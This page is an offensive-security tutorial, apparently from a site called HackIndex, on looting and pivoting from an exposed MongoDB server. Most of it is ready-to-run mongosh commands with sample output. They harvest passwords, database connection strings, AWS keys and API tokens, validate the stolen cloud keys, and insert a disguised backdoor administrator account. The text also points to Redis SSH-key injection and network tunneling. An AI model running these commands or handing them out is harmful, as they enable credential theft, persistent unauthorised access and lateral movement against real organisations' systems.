Skip to content
HackIndex logo

HackIndex

MongoDB Loot and Pivot

4 min read Mar 28, 2026

Post-exploitation on MongoDB focuses on converting database access into broader impact. Application collections frequently contain credentials reusable across other services, connection strings to additional databases, API keys for cloud platforms, and SSH keys stored by configuration management tools. The database is often the pivot point to the rest of the internal infrastructure.

Extract Application Credentials for Reuse

Application user collections store credentials in formats usable for login on the web application and sometimes reused on other services:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval '
db.adminCommand({listDatabases:1}).databases.forEach(function(d) {
if (["local","config"].includes(d.name)) return;
db.getSiblingDB(d.name).getCollectionNames().forEach(function(c) {
var doc = db.getSiblingDB(d.name)[c].findOne({password:{$exists:true}});
if (doc) print("["+d.name+"."+c+"] "+JSON.stringify(doc));
});
})'
[appdb.users] {"username":"admin","password":"$2b$12$LQv...","email":"[email protected]"}
[appdb.users] {"username":"deploy","password":"Deploy@2024!","email":"[email protected]"}

Plaintext passwords found in collections — common in older or poorly maintained applications — should be tested immediately against SSH, other web applications, and any other services discovered on the target network. Hashed passwords go to hashcat.

Find Connection Strings to Other Services

Application configuration sometimes stored in MongoDB contains connection strings to other databases, message queues, and APIs:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval '
db.adminCommand({listDatabases:1}).databases.forEach(function(d) {
db.getSiblingDB(d.name).getCollectionNames().forEach(function(c) {
var doc = db.getSiblingDB(d.name)[c].findOne({$or:[{connectionString:{$exists:true}},{dsn:{$exists:true}},{redis_url:{$exists:true}},{database_url:{$exists:true}}]});
if (doc) print(d.name+"."+c+": "+JSON.stringify(doc));
});
})'
appdb.config: {"redis_url":"redis://:RedisP@[email protected]:6379","db_url":"postgres://appuser:[email protected]:5432/appdb"}

Connection strings reveal other internal services and their credentials. A Redis connection string often means an unauthenticated or weakly authenticated Redis instance on the internal network — a direct pivot to shell via CONFIG SET dir and CONFIG SET dbfilename SSH key injection.

Extract API Keys and Cloud Credentials

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval '
db.adminCommand({listDatabases:1}).databases.forEach(function(d) {
db.getSiblingDB(d.name).getCollectionNames().forEach(function(c) {
var doc = db.getSiblingDB(d.name)[c].findOne({$or:[{api_key:{$exists:true}},{aws_access_key:{$exists:true}},{secret_key:{$exists:true}},{token:{$exists:true}}]});
if (doc) print(d.name+"."+c+": "+JSON.stringify(doc));
});
})'
appdb.integrations: {"service":"aws","aws_access_key":"AKIA...","secret_key":"wJalr..."}
appdb.api_tokens: {"user":"admin","token":"sk-prod-xK2aB1cD3eF4","scope":"admin"}
┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID='AKIA...' AWS_SECRET_ACCESS_KEY='wJalr...' && aws sts get-caller-identity

Pivot via Injected Admin User

When write access is confirmed, inject a backdoor admin account into the application's users collection. This provides persistent web application access independent of the database connection:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval '
var bcrypt_hash = "$2b$12$somethingyouprecomputed";
db.users.insertOne({
username: "support_backup",
password: bcrypt_hash,
email: "[email protected]",
role: "administrator",
created: new Date()
})'

Enumerate Internal Network from MongoDB Host

When MongoDB is reachable from inside the network, use connection string data and host info to map additional internal targets:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.hostInfo().system.hostname)'
db-server-01.internal.company.com
┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval '
var cfg = db.getSiblingDB("appdb").config.findOne();
if (cfg) printjson(cfg);'
{
  redis_url: 'redis://:RedisP@[email protected]:6379',
  postgres_url: 'postgres://appuser:[email protected]:5432/appdb',
  smtp_host: 'mail.internal.company.com',
  s3_bucket: 'company-prod-backups'
}

Internal hostnames and IPs extracted from config collections map the internal network without any scanning. Test each discovered service credential from Kali directly — Redis at 10.10.10.51, PostgreSQL at 10.10.10.52 — to confirm lateral movement paths. Use chisel or ligolo-ng for tunneling if the services are not directly reachable, covered in the pivoting guide.

References